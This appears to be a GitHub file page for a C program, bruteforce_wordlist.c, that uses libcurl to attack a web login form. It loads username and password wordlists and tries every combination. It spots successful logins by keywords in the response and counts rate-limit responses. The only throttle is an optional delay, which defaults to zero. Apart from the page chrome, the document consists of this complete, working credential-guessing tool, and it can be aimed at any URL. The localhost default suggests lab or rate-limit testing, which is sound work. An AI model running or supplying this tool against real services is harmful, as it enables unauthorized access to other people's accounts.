-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbruteforce_wordlist.c
More file actions
337 lines (286 loc) · 11.1 KB
/
bruteforce_wordlist.c
File metadata and controls
337 lines (286 loc) · 11.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <curl/curl.h>
#include <time.h>
#define DEFAULT_URL "http://localhost:8080/login"
#define DEFAULT_USERNAME_FILE "usernames.txt"
#define DEFAULT_PASSWORD_FILE "passwords.txt"
#define DEFAULT_DELAY_MS 0
#define MAX_LINE_LENGTH 256
#define MAX_ATTEMPTS_DEFAULT 1000000
/* Statistics */
typedef struct {
long total_attempts;
long rate_limited;
long failed;
long errors;
time_t start_time;
int running;
} stats_t;
static stats_t stats = {0, 0, 0, 0, 0, 1};
/* Configuration */
typedef struct {
char url[512];
char username_file[256];
char password_file[256];
int delay_ms;
long max_attempts;
} config_t;
/* Dynamic string array */
typedef struct {
char **items;
size_t count;
size_t capacity;
} string_array_t;
/* Callback to handle HTTP response */
size_t write_callback(void *contents, size_t size, size_t nmemb, void *userp) {
size_t realsize = size * nmemb;
char **response_ptr = (char **)userp;
*response_ptr = realloc(*response_ptr, realsize + 1);
if (*response_ptr) {
memcpy(*response_ptr, contents, realsize);
(*response_ptr)[realsize] = '\0';
}
return realsize;
}
/* Signal handler for graceful shutdown */
void signal_handler(int signum) {
(void)signum;
stats.running = 0;
}
/* Print statistics */
void print_stats() {
time_t elapsed = time(NULL) - stats.start_time;
printf("\n[STATS] ===== Summary =====\n");
printf("[STATS] Total attempts: %ld\n", stats.total_attempts);
printf("[STATS] Failed: %ld\n", stats.failed);
printf("[STATS] Rate limited: %ld\n", stats.rate_limited);
printf("[STATS] Errors: %ld\n", stats.errors);
printf("[STATS] Total time: %ld seconds\n", elapsed);
if (elapsed > 0) {
printf("[STATS] Attempts per second: %.2f\n", (double)stats.total_attempts / elapsed);
}
}
/* Initialize string array */
void array_init(string_array_t *arr) {
arr->items = NULL;
arr->count = 0;
arr->capacity = 0;
}
/* Add string to array */
int array_add(string_array_t *arr, const char *str) {
if (arr->count >= arr->capacity) {
size_t new_capacity = arr->capacity == 0 ? 16 : arr->capacity * 2;
char **new_items = realloc(arr->items, new_capacity * sizeof(char *));
if (!new_items) return 0;
arr->items = new_items;
arr->capacity = new_capacity;
}
arr->items[arr->count] = strdup(str);
if (!arr->items[arr->count]) return 0;
arr->count++;
return 1;
}
/* Free string array */
void array_free(string_array_t *arr) {
for (size_t i = 0; i < arr->count; i++) {
free(arr->items[i]);
}
free(arr->items);
arr->items = NULL;
arr->count = 0;
arr->capacity = 0;
}
/* Load wordlist from file */
int load_wordlist(const char *filename, string_array_t *arr) {
FILE *fp = fopen(filename, "r");
if (!fp) {
fprintf(stderr, "[ERROR] Failed to open file: %s\n", filename);
return 0;
}
char line[MAX_LINE_LENGTH];
while (fgets(line, sizeof(line), fp)) {
/* Remove trailing newline */
size_t len = strlen(line);
while (len > 0 && (line[len-1] == '\n' || line[len-1] == '\r')) {
line[--len] = '\0';
}
/* Skip empty lines and comments */
if (len == 0 || line[0] == '#') continue;
if (!array_add(arr, line)) {
fprintf(stderr, "[ERROR] Failed to add word to array\n");
fclose(fp);
return 0;
}
}
fclose(fp);
return 1;
}
/* Try login with username and password */
int try_login(CURL *curl, const char *url, const char *username, const char *password) {
CURLcode res;
char postfields[512];
char *response = NULL;
long http_code = 0;
snprintf(postfields, sizeof(postfields), "username=%s&password=%s", username, password);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 0L);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
printf("[ERROR] Request failed: %s\n", curl_easy_strerror(res));
if (response) free(response);
return -1;
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
int result = 0;
if (http_code == 200 || http_code == 302) {
/* Check for success indicators */
if (response && (strstr(response, "session") || strstr(response, "dashboard") || strstr(response, "Welcome"))) {
result = 1; /* Success */
} else {
result = 0; /* Failed login */
}
} else if (http_code == 429) {
result = -2; /* Rate limited */
} else if (http_code == 401 || http_code == 403) {
result = 0; /* Failed login */
} else {
result = -1; /* Error */
}
if (response) free(response);
return result;
}
/* Brute force with wordlists */
void bruteforce_wordlists(config_t *config, string_array_t *usernames, string_array_t *passwords) {
CURL *curl = curl_easy_init();
if (!curl) {
fprintf(stderr, "[ERROR] Failed to initialize CURL\n");
return;
}
long total_combinations = (long)usernames->count * passwords->count;
printf("[INFO] Starting brute force attack on %s\n", config->url);
printf("[INFO] Target: iterating wordlist combinations\n");
printf("[INFO] Method: wordlist\n");
printf("[INFO] Usernames loaded: %zu\n", usernames->count);
printf("[INFO] Passwords loaded: %zu\n", passwords->count);
printf("[INFO] Total combinations: %ld\n", total_combinations);
printf("[INFO] Max attempts: %ld\n\n", config->max_attempts);
stats.start_time = time(NULL);
/* Try all combinations */
for (size_t u = 0; u < usernames->count && stats.running; u++) {
for (size_t p = 0; p < passwords->count && stats.running; p++) {
stats.total_attempts++;
printf("[PROGRESS] [%ld/%ld] Trying %s:%s... ",
stats.total_attempts, total_combinations,
usernames->items[u], passwords->items[p]);
fflush(stdout);
int result = try_login(curl, config->url, usernames->items[u], passwords->items[p]);
if (result == 1) {
printf("[SUCCESS]\n");
printf("\n[SUCCESS] ===== Login Successful! =====\n");
printf("[SUCCESS] Username: %s\n", usernames->items[u]);
printf("[SUCCESS] Password: %s\n", passwords->items[p]);
print_stats();
curl_easy_cleanup(curl);
return;
} else if (result == -2) {
printf("[RATE_LIMITED]\n");
stats.rate_limited++;
if (stats.rate_limited == 1) {
printf("[RATE_LIMIT] Rate limit detected after %ld attempts\n", stats.total_attempts);
}
} else if (result == -1) {
printf("[ERROR]\n");
stats.errors++;
} else {
printf("[FAIL]\n");
stats.failed++;
}
if (stats.total_attempts >= config->max_attempts) {
printf("\n[INFO] Max attempts reached\n");
curl_easy_cleanup(curl);
print_stats();
return;
}
if (config->delay_ms > 0) {
struct timespec ts;
ts.tv_sec = config->delay_ms / 1000;
ts.tv_nsec = (config->delay_ms % 1000) * 1000000;
nanosleep(&ts, NULL);
}
}
}
curl_easy_cleanup(curl);
print_stats();
}
/* Print usage */
void print_usage(const char *prog) {
printf("Usage: %s [OPTIONS]\n\n", prog);
printf("Options:\n");
printf(" --url URL Target URL (default: %s)\n", DEFAULT_URL);
printf(" --usernames FILE Username wordlist file (default: %s)\n", DEFAULT_USERNAME_FILE);
printf(" --passwords FILE Password wordlist file (default: %s)\n", DEFAULT_PASSWORD_FILE);
printf(" --delay MS Delay between requests in ms (default: %d)\n", DEFAULT_DELAY_MS);
printf(" --max-attempts N Max attempts before giving up (default: %d)\n", MAX_ATTEMPTS_DEFAULT);
printf(" --help Show this help\n\n");
printf("Example:\n");
printf(" %s --usernames users.txt --passwords pass.txt --delay 100\n", prog);
}
int main(int argc, char *argv[]) {
config_t config = {
.url = DEFAULT_URL,
.username_file = DEFAULT_USERNAME_FILE,
.password_file = DEFAULT_PASSWORD_FILE,
.delay_ms = DEFAULT_DELAY_MS,
.max_attempts = MAX_ATTEMPTS_DEFAULT
};
/* Parse command line arguments */
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--help") == 0) {
print_usage(argv[0]);
return 0;
} else if (strcmp(argv[i], "--url") == 0 && i + 1 < argc) {
strncpy(config.url, argv[++i], sizeof(config.url) - 1);
} else if (strcmp(argv[i], "--usernames") == 0 && i + 1 < argc) {
strncpy(config.username_file, argv[++i], sizeof(config.username_file) - 1);
} else if (strcmp(argv[i], "--passwords") == 0 && i + 1 < argc) {
strncpy(config.password_file, argv[++i], sizeof(config.password_file) - 1);
} else if (strcmp(argv[i], "--delay") == 0 && i + 1 < argc) {
config.delay_ms = atoi(argv[++i]);
} else if (strcmp(argv[i], "--max-attempts") == 0 && i + 1 < argc) {
config.max_attempts = atol(argv[++i]);
}
}
/* Set up signal handlers */
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
/* Load wordlists */
printf("[INFO] Loading wordlists...\n");
string_array_t usernames, passwords;
array_init(&usernames);
array_init(&passwords);
if (!load_wordlist(config.username_file, &usernames)) {
fprintf(stderr, "[ERROR] Failed to load username wordlist\n");
return 1;
}
if (!load_wordlist(config.password_file, &passwords)) {
fprintf(stderr, "[ERROR] Failed to load password wordlist\n");
array_free(&usernames);
return 1;
}
printf("[INFO] Wordlists loaded successfully\n\n");
/* Initialize CURL globally */
curl_global_init(CURL_GLOBAL_DEFAULT);
bruteforce_wordlists(&config, &usernames, &passwords);
curl_global_cleanup();
/* Cleanup */
array_free(&usernames);
array_free(&passwords);
return 0;
}